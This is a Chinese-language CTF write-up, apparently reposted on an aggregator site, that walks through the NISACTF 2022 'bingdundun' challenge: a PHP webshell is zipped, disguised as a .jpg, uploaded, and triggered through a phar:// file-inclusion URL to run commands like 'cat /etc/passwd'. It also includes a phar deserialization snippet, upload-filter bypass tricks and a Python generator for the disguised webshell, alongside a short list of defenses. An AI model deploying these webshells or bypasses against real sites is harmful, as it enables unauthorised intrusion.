当前位置: 首页 > news >正文

CTF实战:手把手教你用phar伪协议绕过文件上传限制(以NISACTF 2022 bingdundun为例)

CTF实战:利用phar伪协议突破文件上传限制的深度解析

在CTF竞赛和实际渗透测试中,文件上传功能常常是突破系统防线的关键入口点。当遇到仅允许上传图片或压缩包的场景时,phar伪协议配合文件包含漏洞往往能打开RCE的大门。本文将以NISACTF 2022的bingdundun题目为例,详细剖析从漏洞发现到最终getshell的完整攻击链。

1. 漏洞环境分析与攻击原理

打开题目链接后,我们首先看到一个文件上传界面,提示仅允许上传图片或压缩包。观察URL参数发现存在?bingdundun=index这样的传参方式,测试发现无论传入什么值,系统都会自动追加.php后缀。这种特性暗示着可能存在文件包含漏洞。

关键发现点

  • 上传功能对文件内容检查不严格,仅验证文件扩展名
  • URL参数存在自动追加后缀的行为,可能未过滤特殊协议
  • 服务器运行PHP环境,支持伪协议操作

提示:在实际测试中,建议先用正常图片上传测试返回路径格式,为后续攻击做准备

PHP伪协议中,phar://的特殊性在于它能将任意后缀的压缩包(需符合zip格式)当作phar文件解析。与zip://等协议相比,它具有以下优势:

协议类型需要指定后缀支持压缩格式元数据处理
phar://zip支持反序列化
zip://zip不支持
bzip2://bz2不支持

2. 恶意压缩包构造实战

要利用phar协议,我们需要创建一个包含恶意代码的压缩包。虽然题目允许上传.zip文件,但为了绕过可能的额外检查,建议将文件重命名为图片后缀(如.jpg)。

构造步骤

  1. 创建包含PHP代码的文本文件(如shell.php):
<?php system($_GET['cmd']); ?>
  1. 使用zip命令打包文件(Linux环境示例):
zip payload.zip shell.php
  1. 重命名压缩包以绕过检查:
mv payload.zip payload.jpg

关键技巧

  • 压缩包内文件名尽量简短,避免包含特殊字符
  • 使用最小化压缩包(仅包含必要文件)
  • 可尝试多种压缩格式(如phar原生格式)

注意:某些环境可能检查文件魔数,此时需要在压缩包开头添加图片头信息

3. 文件上传与路径获取

将构造好的"图片"上传后,系统通常会返回存储路径。不同系统的返回格式可能不同,常见的有:

  • 完整URL路径:/uploads/ab12cd34ef.jpg
  • 相对路径:ab12cd34ef.jpg
  • 哈希命名:md5(时间戳).jpg

实战记录

POST /upload.php HTTP/1.1 Host: ctf.example.com Content-Type: multipart/form-data [文件内容...] HTTP/1.1 200 OK {"status":"success","path":"/uploads/63a1f950e6.jpg"}

获取到文件路径后,结合之前发现的文件包含漏洞,就可以构造攻击链了。

4. phar协议触发与RCE实现

利用返回的文件路径和文件包含漏洞,构造如下攻击URL:

http://ctf.example.com/index.php?bingdundun=phar://uploads/63a1f950e6.jpg/shell

为什么不是/shell.php?

  • 题目环境会自动追加.php后缀
  • 实际请求会被解析为phar://uploads/63a1f950e6.jpg/shell.php

成功触发后,就可以通过cmd参数执行系统命令:

http://ctf.example.com/index.php?bingdundun=phar://uploads/63a1f950e6.jpg/shell&cmd=ls%20/

常用命令执行检查点

  • ls /查看根目录文件
  • cat /etc/passwd检查用户列表
  • find / -name "*flag*"搜索flag文件

5. 防御方案与检测绕过技巧

了解攻击原理后,我们也要思考如何防御此类攻击。作为开发人员,可以采取以下措施:

  1. 文件内容校验

    • 检查文件魔数而不仅是扩展名
    • 使用getimagesize()等函数验证图片真实性
  2. 权限控制

    • 上传目录禁止PHP执行
    • 设置open_basedir限制访问范围
  3. 输入过滤

    • 过滤包含协议的特殊字符(如://
    • 禁用危险协议(修改php.ini的allow_url_include

作为攻击方,面对这些防御可以尝试:

  • 在压缩包中添加真实的图片文件
  • 使用双重压缩(zip内嵌zip)
  • 尝试其他伪协议组合(如zip://phar://

6. 扩展攻击面:phar反序列化利用

除了直接包含代码外,phar文件的元数据(metadata)在反序列化时也可能成为攻击点。构造特殊的metadata可以实现更隐蔽的攻击:

$phar = new Phar('exploit.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setMetadata(new DangerousObject()); $phar->stopBuffering();

当这个phar文件被任何文件操作函数(如file_exists())通过phar协议解析时,DangerousObject__wakeup()__destruct()方法就会被自动调用。

实际CTF中的应用场景

  • 题目没有明显的文件包含点,但有文件存在性检查
  • 存在POP链但缺乏直接反序列化入口
  • 需要绕过disable_functions限制

7. 不同环境的适配与调试技巧

在实际测试中,不同PHP版本和环境配置可能导致攻击失败。以下是常见问题及解决方案:

问题1:phar协议被禁用

  • 检查phpinfo()的输出
  • 尝试其他协议组合(如compress.zlib://phar://

问题2:自动追加后缀导致解析失败

  • 尝试路径截断(如phar://path/to/file.jpg%00
  • 使用目录穿越(phar://path/to/file.jpg/../../shell

问题3:文件内容被修改

  • 在压缩包中添加注释区干扰内容检查
  • 使用密码保护的压缩包(需环境支持)

调试时建议在本地搭建相似环境,使用tcpdumpburpsuite观察实际请求:

tcpdump -i lo -A port 80 | grep -E '(phar|zip)'

8. 自动化工具与实战脚本

对于频繁参加CTF的选手,可以准备一些自动化脚本提高效率。以下是快速生成攻击文件的Python示例:

import os import zipfile def create_malicious_zip(php_code, output_name): with open('shell.php', 'w') as f: f.write(php_code) with zipfile.ZipFile(output_name+'.zip', 'w') as z: z.write('shell.php') os.rename(output_name+'.zip', output_name+'.jpg') os.unlink('shell.php') print(f"[+] Malicious file created: {output_name}.jpg") create_malicious_zip('<?=`$_GET[cmd]`?>', 'payload')

常用工具推荐

  • Burp Suite:拦截修改上传请求
  • 010 Editor:分析修改文件魔数
  • CyberChef:快速编解码操作

在真实渗透测试中,我曾遇到过一个案例:系统严格检查了文件内容,但忽略了临时文件的上传过程。通过构造特大文件引发系统分段上传,最终在临时目录中找到了未经验证的文件副本。

http://www.gsyq.cn/news/1431765.html

相关文章:

  • 告别电网畸变烦恼:手把手教你用MATLAB仿真CDSC-PLL锁相环(附完整模型)
  • PHP文件包含新思路:除了php://filter,别忘了phar://这个隐藏BOSS
  • 告别手动配置!用Matlab+LUA脚本自动化控制TI mmWave Studio采集雷达数据(DCA1000+1843实战)
  • 新手硬件工程师必看:DDR3 PCB布局布线,避开这5个坑,信号质量稳了
  • 选型避坑指南:如何根据项目需求(Robotaxi vs. 低速无人车)看懂激光雷达参数表?
  • 保姆级教程:用VTST脚本给VASP打补丁,搞定CI-NEB过渡态计算
  • Win10/Win11下Cadence全家桶卡顿?可能是输入法埋的‘雷’,保姆级排查与修复指南
  • 2026年5月30日博客精选
  • 前端也能玩转国密?Vue/React项目集成sm-crypto进行数据加密的完整指南
  • 别再只盯着快充功率了!一文读懂USB PD物理层如何保证你的充电数据不丢包
  • 别再死记硬背了!用Multisim仿真软件5分钟搞定戴维南定理(附实操步骤)
  • 别再死记payload了!手把手教你用PHP代码动态生成CTF序列化利用点
  • 电力自动化通信入门:手把手教你用Python模拟IEC104协议的数据采集与遥控
  • 终极指南:如何深度配置Jellyfin Android TV打造专业级家庭影院体验
  • FPGA图像缩放+GTX光传输+UDP网传:一个视频处理系统的数据流完整解析(附源码)
  • 别再死记硬背Payload了!手把手教你用PHP代码动态生成序列化攻击字符串
  • 10分钟掌握AI音频修复:VoiceFixer的完整免费指南
  • 别再死记硬背了!用‘重叠区域’和PD图直观理解SRT除法器设计
  • 深度解析:如何用LeagueAkari实现英雄联盟游戏效率翻倍
  • 保姆级教程:在STM32CubeMX生成的FreeRTOS工程里,手把手移植一个稳定的软件IIC驱动(附AT24C02测试代码)
  • 告别IP核!手把手教你用Verilog在Quartus II里从零实现一个4位乘法器(附仿真与引脚绑定)
  • 2026年4月高评价电缆沟盖板推荐指南:卡槽式电缆沟盖、双层井盖、变电站室外电缆沟盖板、复合树脂井盖、复合树脂盖板选择指南 - 优质品牌商家
  • 别再只盯着速度了!USB3.0的LTSSM状态机,才是你高速外设频繁断连的元凶
  • 用OpenCV和C++手把手实现张正友相机标定:从棋盘格到内参矩阵的完整代码解析
  • 不止于搭建:宝塔反代OpenAI API后,如何安全、高效地管理你的API Key与对接第三方应用
  • 手把手教你用C语言实现FIR滤波器:从窗函数选择到Matlab验证的完整流程
  • 告别驱动烦恼:手把手教你用免驱Console线连接思科/华为交换机(附串口查看技巧)
  • 别再为多设备同步发愁了!NI-DAQmx通道扩展保姆级配置指南(含CompactDAQ/PXI实战)
  • 云手机 跨设备无缝衔接
  • Kubernetes新手必看:kubectl get nodes报错localhost:8080?三步搞定kubeconfig配置